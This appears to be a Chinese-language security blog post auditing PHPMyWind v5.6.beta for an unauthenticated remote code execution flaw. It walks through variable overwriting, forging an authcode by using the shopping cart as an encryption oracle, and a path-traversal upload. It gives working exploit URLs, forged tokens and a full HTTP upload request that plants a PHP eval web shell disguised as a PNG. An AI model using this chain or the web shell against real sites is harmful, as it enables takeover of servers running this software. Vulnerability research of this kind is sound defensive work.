0%

PHPMyWind前台RCE

前言

前台RCE审计一。环境:win11 + php7 + PHPMyWind v5.6.beta

变量添加

调用 _RunMagicQuotes 进行value处理,最后实现变量的添加

image-20230116002914924

传入该参数的值如果为数组则递归解析,最后特殊字符 addslashes 处理

image-20230116003014152

但是该变量名存在问题,可以覆盖 $_SERVER以及$_FILES

然后就去搜索 $_FILES 的相关处理

权限验证

admin的权限是通过 admin/inc/config.inc.php进行验证

image-20230116003858266

代码通过$_SESSION 进行验证

image-20230116003945261

寻找FILE

全局搜索后,排除admin目录

image-20230116004222723

在 Controller_AvatarFlashUpload#uploadavatarAction 中,光看文件处理部分,文件最后保存路径为 upload/$uid.$filetype,$filetype通过在config中进行查找$type,$type通过getimagesize获取,这函数可伪造。基本存在利用的可能

image-20230116010921716

看一下实例化的地方 data/avatar/upload.php

定义$config,这里定义了一个authkey引起了我的注意

image-20230116011510390

跟踪一下$cfg_auth_ley存在于 /include/common.func.php

$cfg_auth_key = 'zVQnZqFyAn4EGmjY';

接着通过参数a控制action。

image-20230116011559906

最后就是进行调用action

image-20230116011628979

审计

再次回到action中

authkey的获取

三个函数getgpc、init_input、input

image-20230116012500823

getgpc,通过GET方式获取agent参数的值

image-20230116012649658

init_input

先获取input参数值,然后调用 common::authcode 对进行input验证操作,解析到$this->input,这里两个参数有一些条件限制

  • $this->input['agent']
  • $this->input['time']

image-20230116012948932

input 就是从上面的$this->input 获取 uid 的值

image-20230116013133796

综上需要控制的参数有三个

$this->input['agent']
$this->input['time']
$this->input['uid']

跟入 common::authcode,是一个很长的解密函数,key就是上面的 authkey 为 zVQnZqFyAn4EGmjY

image-20230116014126064

有解密就有加密,这里可以根据该函数直接构造payload,但是发现authkey为随机的。所以寻找前台可控进行加密的地方

全局搜索 'ENCODE' 基本都调用了 AuthCode

image-20230116015713533

实现encode功能

image-20230116015857366

那么就看一下哪个 AuthCode 传入参数可控,最后发现最合适在 shoppingcart.php,对三个参数没有限制,可以直接添加,但是有一个小问题,AuthCode传入的是序列化的字符串,那么在经过解密之后,通过 parse_str 之后能不能实现添加上述的三个变量

image-20230116040401564

来个demo发现确实可以添加

<?php
$arr = array(
'test' => 'a&a=1&b=2&'
);
$data = serialize($arr);
var_dump($data);
parse_str($data, $tester);
var_dump($tester);
?>

output:

string(35) "a:1:{s:4:"test";s:10:"a&a=1&b=2&";}"
array(4) {
["a:1:{s:4:"test";s:10:"a"]=>
string(0) ""
["a"]=>
string(1) "1"
["b"]=>
string(1) "2"
["";}"]=>
string(0) ""
}

构造payload

http://127.0.0.1/shoppingcart.php?a=addshopingcart&goodsid=1&buynum=2&agent=agent1&goodsattr=test%26time=9999999%26uid=1%26agent=agent1

此时返回cookie

182bXpJ9OpKFGfv4%2BxS0d6fRxUkRvlNTP1wOAp5gmOfr5ES1O9z2PPDCDU2AThTdNu4sfVehuuOLX6SYCAzbtHYfBl%2B6rCJWGYJZgCR2xjnWmxdOPPzNyjT4s4dwVhacg%2FndWIu3EA4E7HTiU4y2HRmg3Rjl%2FlXNr5mQcMiqkudNxyVRWDdfB4augbECr5A540Gvc9tG7RigkUXDDdBJdBoRmVmdsep30QxEWSuQZutACZ1fPUnp

这时可以伪造并获取authcode

文件上传

观察文件写入的路径为 $uid 与 $filetype 构成,uid可控为php,如果让filetype为空,即可上传php,需要注意这里是tmp路径拼接shell路径,所以需要绝对路径写文件

image-20230116041943675

获取

/shoppingcart.php?a=addshopingcart&goodsid=1&buynum=2&agent=agent1&goodsattr=test%26time=9999999999%26uid=/../../../../phpstudy_pro\WWW\PHPMyWind-master\Y0shell.php%26agent=agent1%26 

authcode:
2ec59MYBM8iGqrHi9mZlmE2PIFNru5qh0Z4nviEFLIhTG9TuIymP8iAn%2FdwD5HYNZvKqDyAPGn%2BrhwAozGUONIu0eDjJKT89LVp3V1qpRDZT19HPh7wOFuMmr4bA2g8f3FrQTtX%2BoSfshZjmPl13mGHNUpv2KYRFa%2BP34LF1YCaW08eVAUicYBiEghBv6QsRqq2HpX5hCSUSmfyn5W7B%2Bty5F3mcVik2Y575kyfu

上传文件,传入code与agent

POST /data/avatar/upload.php?a=uploadavatar&input=2ec59MYBM8iGqrHi9mZlmE2PIFNru5qh0Z4nviEFLIhTG9TuIymP8iAn%2FdwD5HYNZvKqDyAPGn%2BrhwAozGUONIu0eDjJKT89LVp3V1qpRDZT19HPh7wOFuMmr4bA2g8f3FrQTtX%2BoSfshZjmPl13mGHNUpv2KYRFa%2BP34LF1YCaW08eVAUicYBiEghBv6QsRqq2HpX5hCSUSmfyn5W7B%2Bty5F3mcVik2Y575kyfu&agent=agent1 HTTP/1.1
Host: 192.168.68.155
Content-Length: 246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydj9apJsliR52tHup
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarydj9apJsliR52tHup
Content-Disposition: form-data; name="Filedata"; filename="test.png"
Content-Type: image/png

#define width 20
#define height 20
<?php eval($_POST[1]);?>
------WebKitFormBoundarydj9apJsliR52tHup--

参考

我是如何通过变量覆盖挖到PHPMyWind前台RCE